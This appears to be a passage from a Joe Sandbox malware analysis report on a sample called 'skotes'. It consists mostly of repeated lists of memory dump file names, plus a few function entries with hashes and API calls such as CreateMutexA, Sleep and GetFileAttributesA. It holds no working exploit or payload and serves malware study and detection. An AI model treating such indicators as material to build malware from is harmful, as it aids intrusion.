Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: e680c42c94b3c8f315e73f62e219d54b2dbc719b12e9ba155604aa4ec9e52624
Instruction ID: a3b0c77318ae6ef6c749b0b6129acd11dbcc6f08adf7109b739e249d4af351de
Opcode Fuzzy Hash: e680c42c94b3c8f315e73f62e219d54b2dbc719b12e9ba155604aa4ec9e52624
Instruction Fuzzy Hash: 813119316043009BEB08AFBCDC89BADB7A5EFCA314F285229E014BB3D5D7756981C652

Function 00EAA54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EAA550
Sleep.KERNEL32(00000064,?), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 5eb704f3e9764d5b323a8dc641f3a971eaab96512c93d2af9bb3279de98fc4cd
Instruction ID: e5871151337f239d7d357c146cd9cd86ffef0f9de21aaff75a8061d4391b677d
Opcode Fuzzy Hash: 5eb704f3e9764d5b323a8dc641f3a971eaab96512c93d2af9bb3279de98fc4cd
Instruction Fuzzy Hash: 49312B31A042048BFB18EF78DC897ADB762EBCA314F285268E014BF2D5C735A981C616

Function 00EAA682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EAA685
Sleep.KERNEL32(00000064,?), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 43485af1866648fd322bb1aeb64ca52ed532a640ac742706cb091146f8b7332d
Instruction ID: 635ac93ac3baba9a191ffea0f81a2b2dddd475ae70fb05b022a77cee776f5b74
Opcode Fuzzy Hash: 43485af1866648fd322bb1aeb64ca52ed532a640ac742706cb091146f8b7332d
Instruction Fuzzy Hash: 66312C316043048BEB18EF78DC857AEB7B2EBCA314F289229E014BB2D5D7756981C652

Function 00EAA7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EAA7BA
Sleep.KERNEL32(00000064,?), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 69e8f93d2b7c15ba06bc98df5fbeb34348ddf5762b1b55a1da5b656e4d694e0a
Instruction ID: b61e8c884d87c6970402b89a5d3c45add4306de3f72116db81b0bedb9617b588
Opcode Fuzzy Hash: 69e8f93d2b7c15ba06bc98df5fbeb34348ddf5762b1b55a1da5b656e4d694e0a
Instruction Fuzzy Hash: 4E311A71A043048BFB18DF68DD89B9EB762EFCA314F285229E014BB2D5D7356981C612

Function 00ED6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
